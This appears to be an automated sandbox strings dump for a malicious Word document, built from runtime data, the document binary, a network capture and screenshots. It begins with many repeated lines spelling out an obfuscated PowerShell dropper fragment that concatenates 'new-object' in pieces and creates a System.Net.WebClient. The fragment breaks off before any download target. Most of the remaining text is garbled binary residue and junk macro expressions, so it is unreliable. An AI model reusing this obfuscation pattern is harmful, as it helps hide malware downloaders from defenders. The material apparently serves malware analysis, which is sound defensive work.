$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-objec
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object')
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') S
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') Sy
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') Sys
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') Syst
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') Syste
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.N
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Ne
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.W
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.We
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.Web
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebC
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebCl
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebCli
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClie
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClien
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$N
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NS
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB =
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $n
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $ns
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsa
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsad
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsada
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadas
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.n
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.ne
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.nex
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(1
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(100
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(1000
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000,
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 2
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 28
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 2821
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 28213
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133)
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133);
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133);$
Unicode based on Runtime Data (powershell.exe )
$qpwdIsVqf~g<@H8%}z*KTz{,e*685t>n>$qBi9x[C#N]-H)Xbzm9m.L-rg+f@.ad#Q)w4
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$YX ___tTs"=N!Jh!'g.Bj!<|@QnK?h}j;0N690J
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
%.]QmH1Fb@!lV-krXNoFW+;,NFT*^_yUr' # 9Jwvgcyycg{us9S@6W_V8X`:$SM&p43!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
%] Z#K^iau{<Z7Kj~@zsE,Liux5vLYJ:LSO?hS(
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
%k_^HHq<*9
Ansi based on PCAP Processing (network.pcap)
%PROGRAMFILES%\Microsoft Office\Office14\wwlib.dll
Unicode based on Runtime Data (WINWORD.EXE )
%{IY#>bKtb)=765&&B9qe"+dg#_D9-d8T@UfbBXe*y
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
'''-''''''''''
Ansi based on Image Processing (screen_0.png)
'-k;K_j)*[@Mx%}[J|FJm>Y=i1?*{_.Wh}tr0M<[n,*c"LVJy7\=|8LOp@RRw:m7x_<QJJY6yNNi\R~X<^u{Jgs~!qJS*FOCru~wtmtu<qs*?pxz8sV[Z+u/O-+R:lJl6S*Oadbjs>;RP!MH)uqRVhw^sob2&xVJo.b3-,OJOmT6gvnR~H@k[)mP
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
'-M\e.e{:Tw1Tm>&C)2(5%*)AA-hfetM%D VR+0y4ei1>hPY\6]:p
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
'Symantec Class 3 SHA256 Code Signing CA0
Ansi based on PCAP Processing (network.pcap)
'theme/theme/_rels/themeManager.xml.relsM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
'theme/theme/_rels/themeManager.xml.relsPK]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
( *8 ,X,$N'Ag . 0a 2^= 4, 6H 8 :1 <X,$N' $j'22kDkYzNHcdKUiHwpduGjwlLwoIiGhszUKziJOiFfMjq zYAimaj'4 > @} Bi7 DX F~h H JH LX,$N'6 N P2^ Ro T VY7 X ZM \X,$N'H 4$j'Z(wwXFzzcMonZlqwjhYkaR c/ LEAMJ'\ ^ `Ty bjO da f?8 h j7 lX,$N'^ n p r9f t vn x z1<5 |X,$N'p \$j' h Z
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(%:iU0BB1$Bi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(, 206`BpuriTCO@"tZpDEtoBFBAZKrTjCLQmwMznvOjFMP?lOhkJoJsqazRcB ovsGCkoKGajbcYwLmv!(793817/ ANoRlnb58862* SBwIIha264@FlHksdP
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(4520340IOzZkwYi + 30 55175SCHdjc8057347'HzCnN5365706MajdIkGjrQoXEChPzqMJJRO8113995cLUaBVmYSBzPakFgjHBjhbyuf(FGrNokEuTNw, 6, 116)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(6@500279-sNUhnZSnfHjI1789407 - Tan(vqjlXBizrvwnkCBool(RoDXoS2477158wjQDHYjXhYz)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(92662039@tTOjVS6@179544OzNiHMS8091385iUUvsrJLPwjzX=1241351WolCIsMbBvcVhPWMhFMfu@SiDRkI
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(982619SCXuQOJZtfk + 9688985JtpplCptja1260443uKGkXfHiKOjGOz5380679qPEuWEzNKJqHLsbRwVECpVA616310QuKiboaCwTwj zJMTqOCTVLbqKsaozzwWHp0(330NZXkBtERGnFCAZ53433* ChjJYFFVftK[28\255LdQRYC8658360WMCRBaR*VCFpwf@mSSpzBA9@151418iamlsopVh ziYpi,fHkdjso, 2
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
([S+HJ(/t[Y`.Zlbz[/h'-z6!\&H :UYTnfLk%*LnSgxkuV@a)Gl]t$N@ZMm"1&o]`(Q+h=}>utg%J8"JE((QQ(cl68wiQ(x{B'*tJ~ho{_HFl?O/09K|Lj#)on_ztzwR_6~#
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(fT.[mUvb_R
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(xitz<]|]}
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)4m"N>j\i0}?JsF)Mx+RRy|d2L@IPuq&AlLJxPZt)TuC0db'AH}]JaXd$IJ\#e%3$xIrULl.6_+EeMsBHb@`!l'DW_/J,ecE}[or`&Bt($
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)?$B:2U!On'v
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)@hN<1xf/qkN&N71P2}g#x#q+rDG{B1m3Hs8$n9]O
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)C7{>Z~/#]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)pFH}N*z,4o\m(yaU@3;~QUpuQ <qe6g*$Bn7GJ2O%IZT5-\.[(Ds2=pM:K*:k~A
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)Q`F5%PROGRAMFILES%\Microsoft Office\Office16\MSWORD.OLBWord
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)Qp0F%WINDIR%\system32\stdole2.tlbstdole
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)Ss&z24489mtioztwiimD,hmoPNwMw!ocQFfbvkBAm67901HKwnwpL LtdZTC
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
+ Ey 5 9M c X,$N' g C,c X,$N' $j'4TbaQoYjzwCwWnQaMbHVkUYDziEMIdftD2rav%!=%8rav% teShnd' GE X <` D(A X,$N' O m U a X,$N' $j'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
+-mpV:Zg,-CE,!>s\VUN`/BR]}PcYh`sfe:e
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
+2jkscPtsd
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
+JJGI?h~0*X
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
+x X,$N' n XK Af U p4 X,$N' $j'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
, 4787vJXWl2"ZGFbBwmnrPazbKzMQvcADtCoRGuEJPmdizzCjwP= cwHf vfVDQ BGOCpbm900593qmjmoWiPi33g* ojAddpuKS`sHSPM@53SXpInCGwvN108U56FUcjGwVZnwwJiJ27670lGWzoWIm aEiQm#bdLBdzZqv&ocImnqjFskZAr6
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,*V1#!Vw8kP`Pt*LS*^18)v%S
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,,,,g,,c_43bg3_,g,d,4,,,,,g,,,,,gc,,g,,,7,.....
Ansi based on Image Processing (screen_3.png)
,,_,___,_,q,_,_
Ansi based on Image Processing (screen_5.png)
,.aic21h:qm@RN;d`o7gK(M&$R(.1r'JT8V"AHu}|$b{P8g/]QAs(#L[PK-![Content_Types].xmlPK-!60_rels/.relsPK-!kytheme/theme/themeManager.xmlPK-!@theme/theme/theme1.xmlPK-!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,1h/ =!"#$%jDd
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,8d((uQG:RGuPJuQ^Ee7q]6j ^n_|D'Xn^G;;AASr@>8qd:-`l:z!z#wpsR[hGmq3[6&=[RG/)mMmaQomZx8=`Cr:zIdz;vlFMa!|^9}R%7%:(uB=&9)(y;Jz
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,\O2TNiP/o1<RrLx'SL=egf X@`#KtB./lL_Qk03.co1=S$pcLzddISZhSdA953"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,GYKNR\;~r85(u6C-R-r"4WTZ},fbZ[ZW>m7~:8K|[V<Sp/SiJLn8lD1SABD%Kg
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,Jn8;DzJvz>=Yn>nMr*s#yHHft"e)A$r&!%P-HyLfF*=sy|?^i9-k0Qatf2Ow=3]x]A#~
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,JS%,r 4XXXhX."<w'Z<[w-7+rq[iZCkZ|>t[
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,k=W!:<V(f{Vv4=uLx>Ou`{;Q*qqU+idh8!4pU;*ti]RJv8t:drN@@lA0T)%RCRs!0fHEAzx
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,pp,ox,,m,tg
Ansi based on Image Processing (screen_3.png)
,WuY.{#AyU%KvF~4%VCS! 22?h9.GAJ2wVi`b/]\#A>f\^g3;M[DQD=
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
- X,$N' k- le ZF !Y :, X,$N' $j' ZGFbBwmnrPazbKzMQvcADtCo% tGuEJP'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
---------__
Ansi based on Image Processing (screen_0.png)
-8nm'Ora]FHD!aDvS]w5_Di@u|(q]BM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
-\!pOz AhdwWp(Ozh@w|W2tz,NmhnWHTzJVTmjbN@_h@?WEQT@"JV@j!boo^k`bOZoJDmQiGU%b"ZCJCmQi@2/M/$)?K**\CNormalrU~~~~~~lK,K4
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
-_f2WA!YgU%a K@3]An~Wn^xH}8@i\]`Uz #lm+sH&?I5c8S6Q%VHt?.9Ui)'2BC2]f'r1=;Cy5gcMc"y'Jr3X^P<?U4!k+3DIKEO4 P]e*.RfzxeyUndBnL&B5O$@a]J';8
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
-HG%R,F`HC8}.!4^o
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
-pOzAhdwW075c69d0be*pOzAhdwWz,0tNmhnWHTzJVmj085c69d0be|NmhnWHTzJVmj^HbOZoJDmQi095c69d0bebOZoJDmQi$`MxH0`(cRBw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
-SOklOUJ569CwklYizRCksK-jIBTlSFk8aIz@(H, $1806tVrc"cBM0AwMAUGA4AAZyAwNAIDOAMGAiBANAcDAjBQMAQgZAYDAwAQwPphDCJJQNjoRFYWN?IIOkakLY@6= rbmRLCiFA>zXlWCOiZNQw(_348@SSstsWa?
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
-Symantec Class 3 PCA - G5 SHA1 OCSP Responder0
Ansi based on PCAP Processing (network.pcap)
-wKE;M[W),=iV1I<b\Vi)|t86ErjG8NCHI9)0yb,KaG6S^0nKb|i>/[is,c%KGJ8L ej|Z=a0=yR%*8.Mi$QUrcT,r4ss?iP[Ru(4yr8D1[]B`D4
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
.$j'tiKAIvwzGLzzGAwAQOAADAxAQOAADAjBwYAMDAxAwMAADA4AQNAgDA2AAZAQDA3AgYAIDA1AQZAgDAmBwYAcDA3AQMAkDAlBQZAYGipjsAz'v z |i ~] ? 7w W X,$N'x _
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
.7600.16385 (win7_rtm.090713-1255)
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
.;d|VLI[zL)Y~g,)tJfd(q3_cW+gjtrH9g*\\jVv*9/n/-ZO2oRyuZ])s&g7rJvw*{pq+xNudA73bQWRnin_f3$uWtn}~.'u8[=WglY6)|E!I}$OMB1%6\1/!\J^+}I+aeY!/y1,6KcR@J) %RH)@JH %@J)RH %@J) %R@J)RH %@J)RH)@JH %`R2cjxwr|YN)-Mp[_J^#TZO<y77cm3 xa~OfojG_.h:fcXVLXKZ^4?'lhQKtxt}=JRX|ecZ6KwW.M=kqA*up5%uZool)Id{?y9v+qz*,WcW_[{IJk27T4Nk]?GG7~wT9w|,)x,MF{wo*u]P4dk8?Kxo7^<$J)+iT?Roe9'Ej-wF4tE)eYRVm?xp?_4dqRNH(*%G-cGv
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
.____'0'_'_••
Ansi based on Image Processing (screen_3.png)
.appendChild(div1); div1.appendChild(div2); div2.appendChild(div3); div1.removeChild(div2); r = genRandString(); if (r.search('asd')) { r.replace('asd', 'bsd'); } } function redirect() { setTimeout(function () { f = document.getElementById('challenge-form'); f.submit(); }, 4000); } function genRandString() { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for (var i = 0; i < 5; i++) text += possible.charAt(Math.floor(Math.random() * possible.length)); return text; } (function () { var a = function () { try { return !!window.addEventListener } catch (e) { return !1 } }, b = function (b, c) { a() ? document.addEventListener("DOMContentLoaded", b, c) : document.attachEvent("onreadystatechange", b) }; b(function () { var a = document.getElementById('content').style.display = 'block';
Ansi based on PCAP Processing (network.pcap)
.bI^O^fpGBVK
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
.sk-circle .sk-circle11 {-webkit-transform: rotate(300deg);-ms-transform: rotate(300deg);transform: rotate(300deg); } .sk-circle .sk-circle12 {-webkit-transform: rotate(330deg);-ms-transform: rotate(330deg);transform: rotate(330deg); } .sk-circle .sk-circle2:before {-webkit-animation-delay: -1.1s;animation-delay: -1.1s; } .sk-circle .sk-circle3:before {-webkit-animation-delay: -1s;animation-delay: -1s; } .sk-circle .sk-circle4:before {-webkit-animation-delay: -0.9s;animation-delay: -0.9s; } .sk-circle .sk-circle5:before {-webkit-animation-delay: -0.8s;animation-delay: -0.8s; } .sk-circle .sk-circle6:before {-webkit-animation-delay: -0.7s;animation-delay: -0.7s; } .sk-circle .sk-circle7:before {-webkit-animation-delay: -0.6s;animation-delay: -0.6s; } .sk-circle .sk-circle8:before {-webkit-animation-delay: -0.5s;animation-delay: -0.5s; } .sk-circle .sk-circle9:before {-webkit-animation-delay: -0.4s;animation-delay: -0.4s; } .sk-circle .sk-circle10:before {-webkit-animation-delay: -0.3s;animation-delay: -0.3s; } .sk-circle .sk-circle11:before {-webkit-animation-delay: -0.2s;animation-delay: -0.2s; } .sk-circle .sk-circle12:before {-webkit-animation-delay: -0.1s;animation-delay: -0.1s; } @-webkit-keyframes sk-circleBounceDelay {0%, 80%, 100% {-webkit-transform: scale(0);transform: scal
Ansi based on PCAP Processing (network.pcap)
/ ;l !p | q X,$N' G / "(h $ &
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
/ @GYmLQfEchcFiOBTTdt{d6888hwluzEpOj!"EkoYKjnrXuloRGXiwIs iubTPjB];?ROOq@tlArrAwpPisNmE@ZdUUBl1(
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
/ KtCqZH=6802329RbAiDzQmCGCqhRsc1925913nqSFBRXASj(sroVjvuU#gjHBjhbyuf(AlDOvWUmiR, 5, 183)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
/ wBIZcf 8797874 UtJlIDffj3884@LSYKrbPFHmYrhbf674`EoMVSImdLfRdB#SOv6CUY6 arRwMamnwBbFZOrTO BnZoM iZzNFpYdo` VrOzu(4524iApxPdq-!dlbujArkCNM8440`.@ zVzPS255dkhzuY0qwFY CzAiZlTNdznLko!698721GNDacMppiHKs!)QSotmjWq@EmMDQMM8id()JzaNBjmU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
/;?l)MvF\b
Ansi based on PCAP Processing (network.pcap)
/=Q(=PmtOJP-?S"-dMp:R"Xjc)v
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
/E j=T=Q~
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
/esimB50/
Ansi based on PCAP Processing (PCAP)
/n "C:\129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc"
Ansi based on Process Commandline (WINWORD.EXE)
/�������������?��������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
0 0$0(0,0004080<0@0D0H0L0\0`0d0h0l0p0t0x0|0
Ansi based on PCAP Processing (network.pcap)
